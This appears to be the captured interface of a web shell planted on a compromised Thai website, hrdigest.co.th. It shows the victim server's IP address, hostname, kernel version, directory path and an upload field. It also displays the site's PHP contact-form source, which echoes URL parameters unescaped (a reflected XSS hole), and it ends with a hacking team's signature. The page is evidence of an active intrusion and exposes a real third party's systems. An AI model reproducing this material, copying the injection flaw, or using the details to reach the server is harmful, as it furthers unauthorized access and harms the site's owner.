1337 3YP455 5H311
:
216.73.216.0
:
119.59.104.17 / www.hrdigest.co.th
:
Linux re1.hostinglotus.net 4.18.0-553.58.1.el8_10.x86_64 #1 SMP Wed Jun 25 06:37:46 EDT 2025 x86_64
:
/
home
/
hrdigest
/
public_html
/
UP104D F1L3:
files >> /home/hrdigest/public_html/inc_contact_form.php
<? if ($save_data=="NO") { ?> <link href="index.css" rel="stylesheet" type="text/css"> <script type="text/javascript" src="js/jquery.validate.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $("#f_contact").validate({ rules: { title_s: "required",// simple rule, converted to {required:true} name_s: "required", phone_s: "required", captcha_code: "required", email: {// compound rule required: true, email: true }, url: { url: true }, comment: { required: true } }, messages: { comment: "Please enter a comment." } }); }); </script> <style type="text/css"> * .submit { margin-left: 125px; margin-top: 10px;} .label { display: block; float: left; width: 120px; text-align: right; margin-right: 5px; } .form-row { padding: 5px 0; clear: both; width: 700px; } label.error { width: 150px; display: block; float: left; color: #FFFFFF; padding-left: 0px; } textarea { height: 260px; } </style> <form name="f_contact" id="f_contact" method="post" action="" enctype="multipart/form-data" > <div class="row"> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="center" style=" font-size:18px; color:#09F;" > <? if($_SESSION["version"] == "eng"){ ?>Information & Comment<? }else{ ?>สอบถามหรือให้ข้อมูล <? } ?> </div> </div> <div class="row" style="padding:20px 0px 0px 0px ;"> <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?>Title<? }else{ ?>ชื่อเรื่อง <? } ?> <span style="color:#FF0000;">*</span></br> <input type="text" name="title_s" id="title_s" class="form-control" required="required"> </div> <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?>Name - Last Name<? }else{ ?>ชื่อ - นามสกุล<? } ?> <span style="color:#FF0000;">*</span></br> <input type="text" name="name_s" id="name_s" class="form-control" required="required"></div> </div> <div class="row" > <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?>Company<? }else{ ?>บริษัท<? } ?><span style="color:#FF0000;">*</span></br> <input type="text" name="company" id="company" class="form-control" required="required"> </div> <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?> E-Mail <? }else{ ?> อีเมลล์ <? } ?><span style="color:#FF0000;">*</span></br> <input type="text" name="email" id="email" class="form-control" required="required"></div> </div> <div class="row" > <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?>Telephone<? }else{ ?>เบอร์โทร<? } ?> <span style="color:#FF0000;">*</span></br> <input type="text" name="phone_s" id="phone_s" class="form-control" required="required"> </div> <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?>Fax<? }else{ ?>โทรสาร<? } ?> <span style="color:#FF0000;">*</span></br> <input type="text" name="fax" id="fax" class="form-control" required="required"></div> </div> <div class="row" > <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?>Address<? }else{ ?>ที่อยู่<? } ?> <span style="color:#FF0000;">*</span></br> <textarea name="address" id="address" class="form-control" required="required" style="width:98%"></textarea> </div> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" align="left" style="padding:5px;"><? if($_SESSION["version"] == "eng"){ ?> Message <? }else{ ?> รายละเอียด <? } ?> <span style="color:#FF0000;">*</span></br> <textarea name="comment" id="comment" class="form-control" required="required" style="width:98%"></textarea></div> </div> <div class="row" > <div class="col-lg-4 col-md-8col-sm-12 col-xs-12" align="left" style="padding:5px;"><span style="color:#FF0000;">*</span> Code : </br> <label for="label"><img src="securimage/securimage_show.php" id="image" /></label></div> <div class="col-lg-4 col-md-8 col-sm-12 col-xs-12" ><br><br><label for="label"> <? //Start Caphc 4 ?> <input name="captcha_code" type="text" id="captcha_code" style="font-size:12px; color:#000; border:1px solid #797979; background:none; width:150px; height:22px;"/> <span style="color:#FFFFFF; font-size:10px;"> <? if (!empty($error2)){ if($_SESSION["version"] == "thai"){ $_code = "รหัสไม่ถูกต้อง"; }else{ $_code = "Code is not valid."; } ?> <script language="JavaScript" type="text/javascript"> alert("<?=$_code?>"); </script> <? } ?> </span></label> <input name="ispostback" type="hidden" value="true" /> <? // End Capha ?></br> </div> </div> <br> <div class="row"> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12"><span style="color:#000000;"><input name="submit" type="submit" class="main-01" value=" Send Data " / ><input name="action" type="hidden" id="action" value="ok" /></span> <span style="color:#FF0000;"> <? if($_SESSION["version"] == "eng"){ ?> * Fields marked with an asterisk * are required. <? }else{ ?> กรุณากรอกข้อมูลที่มี (*) <? } ?> </span> </div> </div> </form> <? } elseif ($save_data=="OK") { ?> <table width="100%" border="0" cellpadding="0" cellspacing="1" class="main1"> <tr> <td><table width="100%" border="0" cellpadding="5" cellspacing="0" class="main-0"> <tr> <td align="left" bgcolor="#999999" style="color:#FFFFFF;"><? if($_SESSION["version"] == "eng"){ ?>Information & Comment<? }else{ ?> ต้องการติดต่อ หรือมีข้อสงสัยเกี่ยวกับเรา/แสดงความคิดเห็น กรุณากรอกข้อมูล <? } ?></td> </tr> </table> <table width="100%" border="0" cellpadding="5" cellspacing="0" class="main-0"> <tr> <td align="center">Thank you.</td> </tr> <tr> <td align="center" style="color:#000;"><input name="button" type="button" class="main-01" onclick="location='page_a.php?cid=<? echo $_GET["cid"] ?>&cname=<? echo $_GET["cname"] ?>';" value=" Back " /></td> </tr> </table></td> </tr> </table> <? } ?>
1337r0j4n | 13379H0575 53CURI7Y 734M